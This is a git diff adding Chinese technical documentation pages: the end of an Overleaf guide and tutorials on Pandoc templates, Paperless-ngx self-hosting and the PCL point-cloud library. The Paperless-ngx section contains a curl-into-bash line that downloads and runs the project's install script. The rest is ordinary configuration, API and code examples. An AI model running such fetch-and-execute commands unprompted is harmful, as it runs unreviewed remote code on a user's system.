+### 编译超时(Compile timeout) + +项目过大(大量 TikZ、minted shell escape 等)会触达套餐时限。对策:拆文件、用 `\includegraphics` 替代实时 TikZ、升级 Premium compile time,或迁到自托管 Server Pro。 + +### 找不到 `\cite` 或参考文献为空 + +确认:已 Recompile **多次**(BibTeX 需多轮)、`refs.bib` 在项目中、主文件有 `\bibliography{refs}`、cite key 拼写正确。Logs 里搜 `undefined citations`。 + +### 中文乱码 + +Compiler 必须是 **XeLaTeX 或 LuaLaTeX**,文档类用 `ctexart`/`ctexrep` 或 `xeCJK`;勿用纯 pdfLaTeX 写 UTF-8 中文。 + +### Git push 认证失败 + +使用 Account Settings 生成的 **Git authentication token**,用户名 **`git`**,勿再用旧版密码登录。Collaborator 需被 Share 进项目后 **各自** 生成 token。 + +### 免费版 History 不够用 + +对关键版本手动 **Add label**;定稿前 **Download as source (.zip)** 留档;或请 Premium Owner 创建项目。 + +--- + +## 进阶方向(学完基础之后) + +1. **Track Changes 审稿流**:Owner 设 Reviewer 权限,改稿 Accept/Reject 后 Label「Revision 1 submitted」。 +2. **Zotero/Mendeley 联动**:Premium 导入 `.bib` 并保持 cite key 与桌面文献库一致。 +3. **GitHub Sync**:从模板 Repo 创建 Overleaf 项目,改完 Push to GitHub 触发 CI 检查。 +4. **Beamer / TikZ / 学校 `.cls`**:上传校模板到项目根,Main document 指向 `thesis.tex`。 +5. **自托管 CE**:读 [overleaf/overleaf](https://github.com/overleaf/overleaf) 的 Docker 文档,服务实验室统一协作。 +6. **Overleaf AI**(官方新特性):在限额内辅助解释报错、改写段落;敏感稿件注意数据政策。 + +--- + +## 小结 + +| 概念 | 一句话 | +|------|--------| +| **Overleaf** | 浏览器里的 LaTeX IDE + 云端编译 + 实时协作 | +| **Project / File tree** | 一篇文档的所有 tex、图、bib | +| **Recompile / Auto Compile** | 服务器生成 PDF 与刷新预览 | +| **Code / Visual Editor** | 源码写作 vs 富文本入门 | +| **Share / OT** | 多人同时编辑同一项目 | +| **Track Changes / History** | 审阅修订与版本回滚(Premium 增强) | +| **Git / GitHub** | 与本地或 GitHub 同步(Premium) | +| **Community Edition** | 开源可自托管的 Overleaf 内核 | + +Overleaf 把 LaTeX 最难的「环境 + 协作 + 出 PDF」三步收到一个链接里。零基础可先 **Example 项目 + Visual Editor** 跑通第一篇 PDF,再切 Code Editor 学 `\section`、`\cite`、`\ref`,最后按需上 Share、History 与 Git——与本地 TeXstudio 形成互补,而不是二选一。 + +--- + +## 参考链接 + +- 项目仓库: +- 官网: +- 官方文档: +- 入门: +- 协作: +- Git 集成: +- Premium 功能: diff --git a/src/content/docs/projects/pandoc-templates.md b/src/content/docs/projects/pandoc-templates.md new file mode 100644 index 000000000..71a9be0bd --- /dev/null +++ b/src/content/docs/projects/pandoc-templates.md @@ -0,0 +1,342 @@ +--- +title: Pandoc Templates — 给 Markdown 套上「出版级外壳」的模具 +来源: 'John MacFarlane, "Pandoc User''s Guide", Templates chapter, https://pandoc.org/MANUAL.html; jgm/pandoc doc/customizing-pandoc.md' +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 是什么 + +Pandoc Templates(模板)是 Pandoc 在生成**独立文档**(standalone document)时用的「外壳模具」。日常类比:你写了一篇博客草稿(Markdown 正文),Pandoc 负责把字排好、转成 HTML/LaTeX/EPUB 等格式;模板则是**书皮 + 扉页 + 页眉页脚 + 目录槽位**——正文塞进 `$body$` 这个洞里,标题、作者、日期从元数据填进 `$title$`、`$author$` 等孔位。 + +没有模板时,Pandoc 默认输出往往只是片段(fragment),适合嵌进网页;加上 `-s` / `--standalone` 或 `--template` 后,才会生成能直接发 PDF、发邮件、上架电子书的完整文件。 + +官方文档把模板定位得很清楚:模板是**脚手架**,负责包裹正文和元数据展示;**不能**用模板直接改写正文里的某段措辞——那要靠 [Pandoc Filter](https://pandoc.org/filters.html) 在 AST 阶段动手。 + +## 为什么重要 + +不理解 Pandoc 模板,下面这些事容易踩坑: + +- 为什么 `pandoc note.md -o note.html` 只有 `

` 没有 `` 外壳——缺 `-s` 或默认 standalone 行为 +- 为什么改了 YAML 里的 `title` 但 PDF 封面没变——可能走的是 LaTeX 模板变量,不是 `--metadata` 和 `--variable` 混用 +- 为什么自定义 HTML 后升级 Pandoc 样式全乱——官方建议跟踪 [pandoc-templates](https://github.com/jgm/pandoc-templates) 仓库,大版本要 diff 默认模板 +- 为什么 DOCX 要 `--reference-doc` 而不是 `--template`——Office 格式用样式文档,不是纯文本模板(见下文「格式差异」) + +学术写作、技术书籍、静态站点生成(Hugo、Quarto、Obsidian 导出)背后,大量「最后一步排版」都落在 Pandoc 模板或它衍生的默认模板上。 + +## 核心概念 + +### 1. 默认模板 vs 自定义模板 + +每种输出格式几乎都有内置默认模板。查看方式: + +```bash +# 打印 HTML5 默认模板到终端 +pandoc -D html5 + +# 保存为文件,再改 +pandoc -D latex -o my-default.latex +``` + +使用自定义模板: + +```bash +pandoc report.md -s --template=corporate.html -o report.html +``` + +Pandoc 会先在当前目录找 `corporate.html`,找不到再去用户数据目录的 `templates/` 子目录(Linux/macOS 常见为 `~/.local/share/pandoc/templates/` 或 `~/.pandoc/templates/`,以 `pandoc --version` 里 `User data directory` 为准)。 + +也可以**覆盖系统默认**:在用户数据目录放 `templates/default.html`,则 `-s -t html` 会自动用你的版本,无需每次 `--template`。 + +### 2. 关键占位变量 + +模板本质是带孔位的纯文本。最常用的孔: + +| 变量 | 含义 | +|------|------| +| `$body$` | 转换后的正文(已渲染成目标格式) | +| `$title$` | 文档标题(YAML / `-M title=`) | +| `$author$` | 作者,可为列表 | +| `$date$` | 日期 | +| `$toc$` | 目录 HTML/LaTeX 等(需 `--toc`) | +| `$header-includes$` | `-H` 注入的头部内容 | +| `$for(header-includes)$` … | 多值循环(见语法) | + +HTML 模板里常见还有 `$if(toc)$` 包裹目录块、`$if(abstract)$` 包裹摘要等条件段。完整变量表见 [Pandoc Variables](https://pandoc.org/demo/example33/6.2-variables.html)。 + +### 3. 模板语法(Template syntax) + +Pandoc 使用自己的微型模板语言(受 Hakyll 启发),定界符为 `$...$` 或 `${...}`,可混用。 + +**插值**:`$title$`、`${foo.bar.baz}$`(点号访问嵌套字段)。 + +**条件**: + +```text +$if(lang)$ + +$else$ + +$endif$ +``` + +注意:`-V foo=false` 得到的是**字符串** `"false"`,在条件里为真;布尔 false 要用 YAML 元数据或 `-M foo=false`。 + +**循环**: + +```text +$for(author)$ + +$sep$ +$endfor$ +``` + +**Partials(子模板)**:把重复片段拆到单独文件,例如 `styles.html`,主模板里写 `${ styles() }`。Partials 与主模板同目录;也可 `${ articles:bibentry() }` 对数组每项套用子模板,循环内用 `it` 指当前项。 + +**管道(Pipes)**:`$name/uppercase$`、`$for(employees/pairs)$` 等,用于大小写、对齐、枚举编号等变换。 + +**注释**:`$-- 这行不会出现在输出里` + +### 4. 变量从哪来 + +| 来源 | 值类型 | 字符串处理 | Filter 可读 | +|------|--------|------------|-------------| +| `-V` / `--variable` | 字符串、布尔 | 原样插入模板 | 否 | +| `-M` / `--metadata` | 字符串、布尔 | 转义 | 是 | +| YAML 元数据块 | 还可对象、列表 | 按 Markdown 解释 | 是 | +| defaults.yaml 的 `variables:` | 结构化 | 视字段而定 | 部分 | + +实践建议:**模板展示用 `-V`**(原样 HTML/CSS);**文档语义元数据用 YAML**;需要 filter 读的结构化数据放 YAML。 + +### 5. 格式差异:template vs reference-doc + +| 格式 | 定制方式 | +|------|----------| +| HTML, LaTeX, Typst, TEI, … | `--template` 文本模板 | +| DOCX, ODT | `--reference-doc` 样式参考文件;模板管元数据插值 | +| PPTX | 无传统模板,用 reference-doc | +| PDF | 通常 `-t latex` + `default.latex` 模板,再调 PDF 引擎 | + +`--reference-doc` 改的是 Word 里「标题 1 / 正文」样式;`--template` 改的是封面、目录位置、页眉字段等**骨架**。 + +### 6. 与 include 选项的关系 + +很多时候不必 fork 整个默认模板: + +```bash +pandoc doc.md -s -o out.html \ + -H analytics.html \ + -B disclaimer.md \ + -A license.md +``` + +分别对应模板变量 `header-includes`、`include-before`、`include-after`。只加一段 CSS 或免责声明时,比维护一整份 `default.html` 轻松得多。 + +## 实践案例 + +### 案例 1:最小自定义 HTML 模板 + +项目结构: + +```text +templates/ + minimal.html +article.md +``` + +`templates/minimal.html`: + +```html + + + + + $if(title)$$title$$else$Untitled$endif$ + $if(author)$ + + $endif$ + + $for(header-includes)$ + $header-includes$ + $endfor$ + + +
+

$title$

+ $if(subtitle)$

$subtitle$

$endif$ + $if(date)$

$date$

$endif$ +
+ $if(toc)$ + + $endif$ +
+ $body$ +
+

Generated with Pandoc $pandoc-version$

+ + +``` + +`article.md`: + +```yaml +--- +title: "季度复盘" +author: [Alice, Bob] +date: 2026-06-13 +lang: zh-CN +--- +``` + +```bash +pandoc article.md -s --toc \ + --template=templates/minimal.html \ + -o quarterly.html +``` + +要点:`-s` 启用 standalone;`--toc` 让 `$toc$` 有内容;`$for(header-includes)$` 保留以后用 `-H` 扩展的口子。 + +### 案例 2:LaTeX 模板片段 + 命令行变量 + +书籍常要改页边距、字体,而不必重写整个 `default.latex`。可以基于默认模板只改几行,或用 include: + +```bash +pandoc book.md -s -t latex -o book.tex \ + --template=templates/book.latex \ + -V documentclass=book \ + -V geometry:margin=1in \ + -V mainfont="TeX Gyre Termes" \ + -V CJKmainfont="Source Han Serif SC" \ + --toc --number-sections +``` + +`templates/book.latex` 里在导言区保留 Pandoc 占位: + +```latex +\documentclass[$if(fontsize)$$fontsize$$else$11pt$endif$]{$documentclass$} +\usepackage{geometry} +$if(geometry)$ +\geometry{$for(geometry)$$geometry$$sep$,$endfor$} +$endif$ +$for(header-includes)$ +$header-includes$ +$endfor$ +\begin{document} +$if(title)$ +\maketitle +$endif$ +$if(toc)$ +\tableofcontents +$endif$ +$body$ +\end{document} +``` + +再交给 `xelatex` 或 `pdflatex` 编译。PDF 路径:`pandoc book.md -o book.pdf --pdf-engine=xelatex` 同样适用此模板。 + +### 案例 3:Partials 拆分页眉品牌区 + +`templates/report.html`: + +```html + + + + $title$ + ${ styles() } + + + ${ branding() } + $body$ + + +``` + +`templates/branding.html`(partial,注意无最终换行): + +```html +
+ logo + $it.company$ +
+``` + +主文档 YAML: + +```yaml +--- +title: "安全审计报告" +branding: + logo: "/assets/logo.svg" + company: "Example Corp" +--- +``` + +模板中调用:`${ branding() }` 若 `branding` 是 map,partial 内用 `$it.logo$`。多个客户报告共用同一 `report.html`,只换 partial 或元数据。 + +### 案例 4:defaults.yaml 固化模板工作流 + +`pandoc-defaults.yaml`: + +```yaml +from: markdown +to: html5 +standalone: true +template: templates/minimal.html +toc: true +variables: + lang: zh-CN +metadata: + author: "Study Notes" +``` + +使用: + +```bash +pandoc --defaults pandoc-defaults.yaml article.md -o out.html +``` + +团队里把模板路径、TOC、语言写进 defaults,比记一长串 CLI 标志可靠。 + +## 调试与维护 + +1. **对比默认模板**:升级 Pandoc 后执行 `pandoc -D html5 > /tmp/new-default.html`,与仓库里 fork 的模板 diff。 +2. **打印 partial**:`pandoc --print-default-data-file=templates/styles.html` 查看官方 HTML 样式片段。 +3. **看变量是否注入**:临时在模板里加 ``(HTML 注释)检查元数据 JSON。 +4. **先 fragment 后排版**:正文问题用 `pandoc -t native` 或 filter;版式问题才动模板。 + +## 常见误区 + +| 误区 | 事实 | +|------|------| +| 模板能改任意段落措辞 | 不能;改 AST 用 filter | +| `-V` 和 `-M` 等价 | 转义与类型语义不同 | +| DOCX 用 `.html` 模板就行 | 需要 `reference.docx` 管样式 | +| 复制一次默认模板就永久省心 | 大版本需跟进 upstream | +| 不用 `-s` 也会套模板 | `--template` 隐含 standalone,但习惯显式写 `-s` | + +## 与生态的关系 + +- **Quarto**、**R Markdown**:在 Pandoc 之上再包一层,底层仍是模板 + metadata。 +- **[[ghostwriter]]** 等 Markdown 编辑器:导出 PDF 往往调用 Pandoc,模板决定最终版式。 +- **[[docusaurus]]** / **[[starlight]]**:不走 Pandoc 模板,但「内容 + 主题外壳」分工类似。 +- **LaTeX 发行版**:模板里的 `$body$` 已是 LaTeX 片段,错误常来自包冲突而非 Markdown 本身。 + +## 小结 + +Pandoc Templates 把「写作」(Markdown)和「出版」(HTML/LaTeX/EPUB 外壳)拆开:正文进 `$body$`,元数据填变量,条件/循环/partials 组织重复结构,`-V` / YAML / `-H` 注入样式与脚本。入门路径建议是 `pandoc -D html5` 读默认模板 → 复制改最小 diff → 用 `--template` 和 defaults 固化 → 大版本 diff upstream。需要改正文逻辑时再上 filter,需要 Word 样式时再上 reference-doc——三条线别混。 + +## 参考 + +- [Pandoc Manual: Templates](https://pandoc.org/MANUAL.html#templates) +- [Template syntax](https://pandoc.org/demo/example33/6.1-template-syntax.html) +- [Variables](https://pandoc.org/demo/example33/6.2-variables.html) +- [Customizing pandoc (official doc)](https://github.com/jgm/pandoc/blob/main/doc/customizing-pandoc.md) +- [jgm/pandoc-templates](https://github.com/jgm/pandoc-templates) — 各格式默认模板源码 diff --git a/src/content/docs/projects/paperless-ngx.md b/src/content/docs/projects/paperless-ngx.md new file mode 100644 index 000000000..2ea1ed7bd --- /dev/null +++ b/src/content/docs/projects/paperless-ngx.md @@ -0,0 +1,301 @@ +--- +title: Paperless-ngx — 自托管无纸化文档管理系统 +来源: https://github.com/paperless-ngx/paperless-ngx +日期: 2026-06-13 +子分类: Web 后端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 日常类比:家里的「智能文件柜」,而不是堆满纸的抽屉 + +想象你家里有一个 **永远不乱、永远能搜到** 的文件柜: + +- 每次收到水电费账单、保险单、合同、体检报告,你 **扫一张或拍一张**,丢进柜子的「投递口」。 +- 柜子里的 **小秘书**(OCR)把图片里的字认出来,变成可搜索的文字;还会猜这是「电力公司」还是「保险公司」发来的。 +- 你给每份文件贴上 **彩色标签**(tag)、记下 **对方是谁**(correspondent)、属于 **哪一类**(document type),以后搜「2024 退税」或「车险」一秒就能翻到。 +- 原件以 **PDF/A** 长期存档格式保存,同时保留原始扫描件;所有数据都在 **你自己家的服务器** 上,不经过云厂商。 + +现实里,很多人的「归档系统」是:微信收藏夹里的 PDF、邮箱附件、打印机旁一摞没分类的 A4 纸。三年后要找某张发票,只能靠记忆翻文件夹。 + +**Paperless-ngx**([paperless-ngx/paperless-ngx](https://github.com/paperless-ngx/paperless-ngx))就是把上面这个「智能文件柜」做成软件:社区维护的开源 **文档管理系统(DMS)**,把纸质/散落电子文档变成 **可全文检索的数字档案**。它是原版 Paperless 与 Paperless-ng 的官方继任者,文档站 [docs.paperless-ngx.com](https://docs.paperless-ngx.com),默认推荐 **Docker Compose** 部署。与 [[bookstack]](团队 Wiki 写作)不同,Paperless 专注 **个人/家庭/小团队的扫描件归档与 OCR 检索**;与 [[nextcloud-server]](通用网盘)相比,它内置 **消费管道、OCR、标签体系、邮件收单** 等 DMS 能力,而不是单纯存文件。 + +零基础路径:**官方安装脚本起一套 Docker → 理解 consume 目录与元数据 → 浏览器上传或拖文件 → 用标签/搜索找文档 → 可选 REST API 接自动化**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:扫描件是图片,搜不到内容 + +发票、合同扫描成 PDF 后,文件名往往是 `scan_001.pdf`。Paperless 用 **Tesseract OCR**(支持 100+ 语言,可选 Azure 远程 OCR)把图像变成可搜索文本,并在 UI 里 **高亮匹配片段**。 + +### 痛点 2:元数据混乱,无法按「谁发的」「什么类型」过滤 + +仅靠文件夹层级很快失控。Paperless 用 **Tag / Correspondent / Document Type / Storage Path / Custom Fields** 多维组织,并可用 **机器学习** 或可选 **LLM 建议** 自动打标签。 + +### 痛点 3:进件渠道分散 + +除了 Web 拖拽上传,还支持: + +- **consume 目录**:把文件丢进文件夹即自动入库(类 [[watchdog]] 消费) +- **邮件规则**:IMAP 收信,按规则抓取附件并标记已读/删除 +- **REST API**:脚本、扫描仪、[[n8n]] 等工作流推送 + +### 痛点 4:家庭多用户与敏感文档 + +内置 **全局 + 单文档级权限**(基于 Django Guardian),可共享给家人或同事,同时限制谁只能看谁的发票。 + +--- + +## 核心概念拆解 + +### 1. 文档(Document) + +系统中心实体。每份文档包含: + +- **title**:显示标题(可从文件名或规则生成) +- **content**:OCR 后的全文(搜索索引来源) +- **archive_serial_number**:可选档案编号 +- **original** 与 **archive** 文件:原稿 + PDF/A 归档副本 +- **created / added**:业务日期 vs 入库日期 + +### 2. 元数据维度 + +| 概念 | 作用 | 类比 | +|------|------|------| +| **Tag** | 多对多标签,可着色 | 彩色便利贴 | +| **Correspondent** | 发件方/对方机构 | 信封上的寄件人 | +| **Document Type** | 文档类别 | 「发票」「合同」「医疗」 | +| **Storage Path** | 磁盘路径命名规则 | 档案柜第几层怎么编号 | +| **Custom Fields** | 日期、布尔、下拉等扩展字段 | 自定义表格列 | + +### 3. 消费管道(Consumption Pipeline) + +文档进系统的标准路径: + +``` +进件(consume 目录 / API / 邮件 / Web 上传) + → Consumer 发现新文件 + → Celery 任务队列(Redis broker) + → Parser 解析格式(PDF、图片、Office、纯文本…) + → OCR(ocrmypdf + Tesseract) + → 自动匹配标签/对应方/类型(可选 ML) + → 写入数据库 + 媒体目录 + 全文索引(Tantivy) +``` + +**Consumer** 只负责监视投递口并 **通知任务处理器**;真正耗时的 OCR 与索引在 **Celery worker** 里并行执行(多核机器可同时处理多份文档)。 + +### 4. 四大常驻进程(Docker 内已编排) + +| 组件 | 职责 | +|------|------| +| **webserver** | Angular 前端 + Django REST API | +| **consumer** | 监视 `consume` 目录 | +| **task queue (Celery worker)** | OCR、索引、邮件抓取、批量编辑 | +| **scheduler (Celery beat)** | 定时任务:邮件检查、索引维护、自动匹配训练 | + +另需 **Redis**(消息队列)与 **PostgreSQL / MariaDB / SQLite**(元数据;生产推荐 PostgreSQL)。 + +### 5. Workflows(工作流) + +比旧版「消费模板」更细的控制:在文档生命周期的触发点(创建、更新等)上执行动作——加标签、设权限、发 Webhook 等。适合「凡是来自 `*@utility.com` 的邮件附件自动打 `utilities` 标签」这类规则。 + +### 6. 搜索(Full-text Search) + +- UI 与 API 均支持 **query=** 全文检索,返回 **score、highlights、rank** +- **more_like_id=** 找相似文档 +- **custom_field_query** 用 JSON 表达式过滤自定义字段(日期区间、布尔、多选等) + +### 7. 安全与部署注意 + +官方明确:**默认明文存盘、无应用层加密**;敏感扫描件应跑在 **可信内网/家庭 NAS**,配备份与反向代理 TLS。不要用不可信主机跑税务材料。 + +--- + +## 架构一图 + +```text +┌─────────────┐ REST ┌──────────────────────────────────┐ +│ Angular SPA │ ◄──────────► │ Django + DRF (/api/documents/ …) │ +└─────────────┘ └───────────────┬──────────────────┘ + │ + consume/ email API upload │ ORM + │ │ │ ▼ + └─────────┴─────────┴──► Celery + Redis + │ + OCR · parse · index ▼ + ┌─────────────────┐ + │ PG + 媒体文件 │ + │ + Tantivy 索引 │ + └─────────────────┘ +``` + +后端 **Django + Django REST Framework**;前端 **Angular** 单页应用;与 [[postgresql]]、[[redis]] 是常见组合。 + +--- + +## 实践案例 + +### 案例 1:最快上手 — 官方安装脚本(Docker Compose) + +适合第一次在笔记本或 NAS 上试用: + +```bash +# 交互式脚本:选数据库、创建管理员、拉镜像、起容器 +bash -c "$(curl --location --silent --show-error \ + https://raw.githubusercontent.com/paperless-ngx/paperless-ngx/main/install-paperless-ngx.sh)" +``` + +装好后浏览器打开 `http://127.0.0.1:8000`,用脚本里设的账号登录。 + +**手动 Compose 时**,关键是挂载三个目录(路径可改成你的 NAS 路径): + +```yaml +# docker-compose.yml 片段 +services: + webserver: + image: ghcr.io/paperless-ngx/paperless-ngx:latest + ports: + - "8000:8000" + volumes: + - ./data:/usr/src/paperless/data + - ./media:/usr/src/paperless/media + - ./consume:/usr/src/paperless/consume + - ./export:/usr/src/paperless/export +``` + +- **consume**:扫描仪/脚本把 PDF 丢这里 → 自动入库 +- **media**:归档后的 PDF/A 与原文件 +- **export**:批量导出用 + +环境变量里至少配置 `PAPERLESS_REDIS`、`PAPERLESS_DB*`、`PAPERLESS_OCR_LANGUAGE`(如 `chi_sim+eng` 中英文混排)。NFS 等不支持 inotify 的共享盘,需设 `PAPERLESS_CONSUMER_POLLING=10` 改为轮询监视。 + +### 案例 2:用 REST API 上传账单并查任务状态 + +在「用户资料」里生成 API Token,或用用户名密码换 Token: + +```bash +# 获取 Token +curl -s -X POST http://127.0.0.1:8000/api/token/ \ + -H "Content-Type: application/json" \ + -d '{"username":"admin","password":"your-password"}' +# → {"token":"abc123..."} + +export PAPERLESS_TOKEN="abc123..." +``` + +上传一份 PDF,并指定标题、标签 ID、对应方 ID: + +```bash +TASK_ID=$(curl -s -X POST http://127.0.0.1:8000/api/documents/post_document/ \ + -H "Authorization: Token ${PAPERLESS_TOKEN}" \ + -F "document=@/path/to/electric-bill.pdf" \ + -F "title=2024-06 电费账单" \ + -F "tags=3" \ + -F "correspondent=5") + +echo "消费任务 UUID: ${TASK_ID}" + +# 轮询任务直到完成 +curl -s "http://127.0.0.1:8000/api/tasks/?task_id=${TASK_ID}" \ + -H "Authorization: Token ${PAPERLESS_TOKEN}" +``` + +成功后响应里会出现新 **document id**;失败可看到 OCR 或格式错误信息。 + +全文搜索示例: + +```bash +curl -sG "http://127.0.0.1:8000/api/documents/" \ + -H "Authorization: Token ${PAPERLESS_TOKEN}" \ + -H "Accept: application/json; version=9" \ + --data-urlencode "query=电费 2024" \ + | jq '.results[] | {id, title, score: .__search_hit__.score}' +``` + +`__search_hit__.highlights` 里带 HTML 高亮片段,便于 UI 或自建前端展示。 + +### 案例 3:Python 脚本批量打标签 + +适合把某文件夹历史 PDF 一次性导入: + +```python +#!/usr/bin/env python3 +"""批量上传目录内 PDF 到 Paperless-ngx。""" +import pathlib +import requests + +BASE = "http://127.0.0.1:8000" +TOKEN = "your-api-token" +SESSION = requests.Session() +SESSION.headers["Authorization"] = f"Token {TOKEN}" + +def upload(path: pathlib.Path, tag_ids: list[int]) -> str: + files = {"document": (path.name, path.read_bytes(), "application/pdf")} + data = {"title": path.stem} + for tid in tag_ids: + data.setdefault("tags", []).append(str(tid)) + # requests 对同名字段需用列表元组 + payload = [("title", data["title"])] + payload += [("tags", str(t)) for t in tag_ids] + resp = SESSION.post(f"{BASE}/api/documents/post_document/", files=files, data=payload) + resp.raise_for_status() + return resp.text.strip('"') # task uuid + +for pdf in pathlib.Path("./inbox").glob("*.pdf"): + task = upload(pdf, tag_ids=[3]) # 例如 tag id=3 是「待核对」 + print(pdf.name, "→ task", task) +``` + +配合 **Workflow**:新文档带「待核对」标签时发邮件通知,核对后在 Web UI 批量去掉该标签。 + +--- + +## 与相近项目怎么选 + +| 需求 | 更合适的选择 | +|------|----------------| +| 扫描件 OCR + 个人档案检索 | **Paperless-ngx** | +| 团队协作文档 / Runbook Wiki | [[bookstack]]、Outline | +| 通用文件同步与共享 | [[nextcloud-server]]、Syncthing | +| 企业级 ECM、合规工作流 | Alfresco、M-Files(商业) | +| 仅想要「文件夹同步」不做 OCR | 网盘即可,不必上 DMS | + +Paperless 强项是 **进件自动化 + OCR + 私有部署**;弱项是 **多人实时协同编辑**——它管的是「归档后的只读文档」,不是 Google Docs。 + +--- + +## 常用配置备忘 + +| 变量 | 含义 | +|------|------| +| `PAPERLESS_URL` | 反代后的对外 URL,影响链接生成 | +| `PAPERLESS_OCR_LANGUAGE` | Tesseract 语言包,如 `eng`、`deu`、`chi_sim` | +| `PAPERLESS_TIME_ZONE` | 显示时区 | +| `PAPERLESS_CONSUMER_POLLING` | NFS 等场景下启用目录轮询(秒) | +| `PAPERLESS_CONSUMER_DISABLE` | 关闭文件夹监视,仅 API/Web 上传 | +| `PAPERLESS_TASK_WORKERS` | Celery 并行度,树莓派可调低 | + +邮件消费、LDAP、OIDC、Office 文档(可选 Tika)等见官方 [Configuration](https://docs.paperless-ngx.com/configuration/) 与 [Usage](https://docs.paperless-ngx.com/usage/)。 + +--- + +## 延伸阅读 + +- 官方文档:[docs.paperless-ngx.com](https://docs.paperless-ngx.com) +- API 浏览器:`/api/schema/view/`(部署后本地访问) +- 扫描仪兼容列表:项目 Wiki「Scanners & Software」 +- 相关笔记:[[postgresql]](推荐数据库后端)、[[redis]](任务队列)、[[docker]](部署方式) + +--- + +## 小结 + +Paperless-ngx 把「扫描 → OCR → 打标签 → 全文搜索 → 长期 PDF/A 存档」打包成一套可自托管的方案。记住三条主线就够用: + +1. **进件**:consume 目录、Web、邮件、API 四选一或组合。 +2. **组织**:Tag / Correspondent / Document Type / Custom Fields,配合 Workflows 自动化。 +3. **检索**:内置全文引擎,API 的 `query` 与 `custom_field_query` 可接自建仪表盘或家庭自动化。 + +从一台 NAS 或家用小主机跑起 Docker,把本月账单扫进去,搜一次「电费」——比任何功能列表都更能说明它值不值得留下。 diff --git a/src/content/docs/projects/pcl.md b/src/content/docs/projects/pcl.md new file mode 100644 index 000000000..89799a422 --- /dev/null +++ b/src/content/docs/projects/pcl.md @@ -0,0 +1,268 @@ +--- +title: PCL — Point Cloud Library 点云处理经典库 +description: 模块化 C++ 点云 I/O、滤波、特征、配准、分割与可视化;ROS/激光雷达/三维重建管线的工业级算法底座 +来源: 'https://github.com/PointCloudLibrary/pcl' +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +难度: 初级 +provenance: pipeline-v3 +--- + +## 是什么 + +**PCL**(Point Cloud Library,点云库)是面向 **2D/3D 图像与点云处理** 的大规模开源 C++ 项目,由 Willow Garage、NVIDIA 等机构早期推动,现由社区在 [PointCloudLibrary/pcl](https://github.com/PointCloudLibrary/pcl) 维护。采用 **BSD 许可**,可自由用于研究与商业产品。官方站点与教程见 [pointclouds.org](https://pointclouds.org/documentation/)。 + +日常类比:激光雷达或深度相机扫过一间屋子,得到的是**漫天飞舞的坐标小点**——像把整间房用荧光粉喷了一遍,每个粉粒都有 (x, y, z)。PCL 就是处理这些粉粒的**专业工坊**: + +- **I/O** 负责把粉粒装进盒子、贴上标签(PCD/PLY 文件); +- **Filters** 用筛子去掉飞出去的噪点、把过密的粉粒合并成「街区级」分辨率; +- **Segmentation** 把属于桌面、墙面、椅子的粉粒分成不同堆; +- **Registration** 把两次扫描的粉粒图对齐叠合(SLAM、三维重建必备); +- **Visualization** 让你在屏幕上旋转观察这团粉粒。 + +与 [[open3d]] 相比:PCL 更偏 **C++ 原生、模块细分、ROS 生态老牌**;Open3D 的 Python 体验更现代。许多自动驾驶与机器人代码库底层仍链 PCL;新项目若重度 Python,常先 Open3D,需要与 ROS 1/2 或历史 C++ 管线对接时再学 PCL。 + +## 为什么重要 + +零基础接触三维感知,PCL 仍是绕不开的「词典」: + +- **算法覆盖面广**:滤波、法线、FPFH 特征、ICP/NDT 配准、RANSAC 平面/圆柱分割、欧氏聚类、Poisson 重建——论文与工业实现大量引用同一套类名 +- **模块化 CMake 工程**:`find_package(PCL)` 后按组件链接,只拉需要的 `pcl_io`、`pcl_filters` 等,避免巨型单体库 +- **PCD 格式事实标准之一**:`pcl::PCDReader` / `PCDWriter` 与 ROS `sensor_msgs/PointCloud2` 转换是经典组合 +- **与 [[opencv]] 互补**:OpenCV 管 RGB 图像矩阵;PCL 管三维点——RGB-D 融合时常二者并用 + +## 核心概念 + +### 1. 点类型与 `PointCloud` + +PCL 用模板区分点的字段。最常用: + +| 类型 | 字段 | 典型场景 | +| --- | --- | --- | +| `pcl::PointXYZ` | x, y, z | 纯几何 | +| `pcl::PointXYZRGB` | x, y, z + rgb | 彩色点云 | +| `pcl::PointXYZI` | x, y, z + intensity | 激光雷达强度 | + +点云容器 `pcl::PointCloud` 内部是 `std::vector points`,并带 `width`、`height`:无序点云常设 `height = 1`,有序深度图则 `width × height` 与图像对齐。 + +```cpp +#include +#include + +pcl::PointCloud::Ptr cloud(new pcl::PointCloud); +cloud->width = 4; +cloud->height = 1; +cloud->is_dense = false; +cloud->points.resize(cloud->width * cloud->height); + +cloud->points[0] = {1.0f, 0.0f, 0.0f}; +cloud->points[1] = {0.0f, 1.0f, 0.0f}; +cloud->points[2] = {0.0f, 0.0f, 1.0f}; +cloud->points[3] = {1.0f, 1.0f, 1.0f}; +``` + +智能指针 `Ptr`(`boost::shared_ptr` 或 `std::shared_ptr`,视版本而定)在 PCL API 中无处不在——过滤器、分割器输入输出都传 `Ptr`。 + +### 2. I/O:读写 PCD + +`pcl_io` 模块提供 `loadPCDFile` / `savePCDFile`,也支持 PLY 等。PCD 有 **ASCII 与 binary** 两种存储;大数据集务必用 binary,否则加载慢一个数量级。 + +```cpp +#include +#include + +pcl::PointCloud::Ptr cloud(new pcl::PointCloud); + +if (pcl::io::loadPCDFile("room_scan.pcd", *cloud) == -1) { + PCL_ERROR("Couldn't read file room_scan.pcd\n"); + return -1; +} +std::cerr << "Loaded " << cloud->size() << " points\n"; + +pcl::io::savePCDFileBinary("room_copy.pcd", *cloud); +``` + +### 3. Filters:体素下采样与统计离群点 + +**VoxelGrid**:把空间划成小立方体(体素),每个体素内多点合并为一个代表点(常用质心),是降采样第一步。官方教程示例:46 万点、叶尺寸 1 cm 可压到约 4 万点量级。 + +**StatisticalOutlierRemoval**:对每个点算到 k 近邻的平均距离,假设全局呈高斯分布,剔除距离过大的「影子点」——深度相机边缘、多径反射常产生这类噪点。 + +滤波器统一模式:`setInputCloud` → 设参数 → `filter(output)`。 + +### 4. Sample Consensus 与分割 + +**SACSegmentation** 用 RANSAC 等鲁棒估计拟合几何模型:平面、球、圆柱、直线等。输出 **内点索引** `pcl::PointIndices` 与 **模型系数** `pcl::ModelCoefficients`(平面为 ax+by+cz+d=0 四个数)。 + +**EuclideanClusterExtraction** 在已滤波的云上按空间距离聚类,适合把桌面上的物体分成独立簇——常与平面分割串联(先去掉地面,再聚类)。 